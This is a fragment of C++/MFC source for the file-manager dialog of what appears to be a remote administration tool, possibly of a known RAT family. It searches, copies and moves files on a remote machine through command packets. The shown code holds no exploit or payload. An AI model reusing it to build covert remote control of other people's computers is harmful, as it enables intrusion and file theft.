m_ProgressCtrl->SetPos(0);
if(m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_RESULT)->GetChecked() == FALSE)
OnSearchResult();
EnableSearchButtn(FALSE);
}
void CFileManagerDlg::OnSearchStop()
{
// TODO: Add your command handler code here
BYTE bToken = COMMAND_FILES_SEARCH_STOP;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
}
// bEnable = TURE 正在搜索
void CFileManagerDlg::EnableSearchButtn(BOOL bEnable)
{
m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_START)->SetEnabled(bEnable);
m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_STOP)->SetEnabled(!bEnable);
}
void CFileManagerDlg::OnMenuitemOpenFilepath()
{
// TODO: Add your command handler code here
if(m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_RESULT)->GetChecked() == TRUE)
OnSearchResult();
int Index = 0;
Index = m_list_remote_search.GetSelectionMark();
if( Index == -1 )
return;
CString str = m_list_remote_search.GetItemText(Index, 0);
Index = str.ReverseFind('\\');
if( Index == -1 )
return;
m_Remote_Path = "";
GetRemoteFileList(str.Left(Index));
}
void CFileManagerDlg::OnCheckSubfolder()
{
m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_SUBFOLDER)->SetChecked(!m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_SUBFOLDER)->GetChecked());
}
void CFileManagerDlg::OnMenuitemMove()
{
// TODO: Add your command handler code here
if (m_list_remote.GetSelectedCount() < 1)
return;
m_Remote_Move_Job.RemoveAll();
POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_remote.GetNextSelectedItem(pos);
CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0);
// 如果是目录
if (m_list_remote.GetItemData(nItem))
file += '\\';
m_Remote_Move_Job.AddTail(file);
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory}
m_bIsCopy = false;
}
void CFileManagerDlg::OnMenuitemCopy()
{
// TODO: Add your command handler code here
if (m_list_remote.GetSelectedCount() < 1)
return;
m_Remote_Move_Job.RemoveAll();
POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_remote.GetNextSelectedItem(pos);
CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0);
// 如果是目录
if (m_list_remote.GetItemData(nItem))
file += '\\';
m_Remote_Move_Job.AddTail(file);
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory}
m_bIsCopy = true;
}
void CFileManagerDlg::OnMenuitemPaste()
{
// TODO: Add your command handler code here
if (m_Remote_Move_Job.IsEmpty() || m_Remote_Path == "")
return;
m_bIsUpload = false;
EnableControl(FALSE);
// 发送第一个删除任务
SendMoveJob();
}
BOOL CFileManagerDlg::SendMoveJob()
{
if (m_Remote_Move_Job.IsEmpty() || m_Remote_Path == "")
return FALSE;
// 发出第一个下载任务命令
FILEMOVE fileMove;
ZeroMemory(&fileMove, sizeof(FILEMOVE));
CString file = m_Remote_Move_Job.GetHead();
int nPacketSize = sizeof(FILEMOVE) + 1;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
if (file.GetAt(file.GetLength() - 1) == '\\')
{
lstrcpy(fileMove.lpExistingFileName,file.Mid(0 ,file.ReverseFind('\\')));
strShowText.Format(_T("远程：移动目录 %s\\*.* 完成"), file);
bPacket[0] = COMMAND_MOVE_DIRECTORY;
file.Delete( file.GetLength() -1,1);
lstrcpy(fileMove.lpNewFileName,m_Remote_Path.GetBuffer(0) + file.Mid(file.ReverseFind('\\') + 1 ,file.GetLength()));
}
else
{
strShowText.Format(_T("远程：移动文件 %s 完成"), file);
bPacket[0] = COMMAND_MOVE_FILE;
lstrcpy(fileMove.lpExistingFileName,file.GetBuffer(0));
lstrcpy(fileMove.lpNewFileName,m_Remote_Path.GetBuffer(0) + file.Mid(file.ReverseFind('\\') +1 ,file.GetLength()));
}
fileMove.bIsCopy = m_bIsCopy;
memcpy(bPacket+1,&fileMove,sizeof(FILEMOVE));
m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
LocalFree(bPacket);
m_Remote_Move_Job.RemoveHead();
PostMessage(WM_SHOW_MSG,0,0);
return TRUE;
}
Reference in New Issue View Git Blame Copy Permalink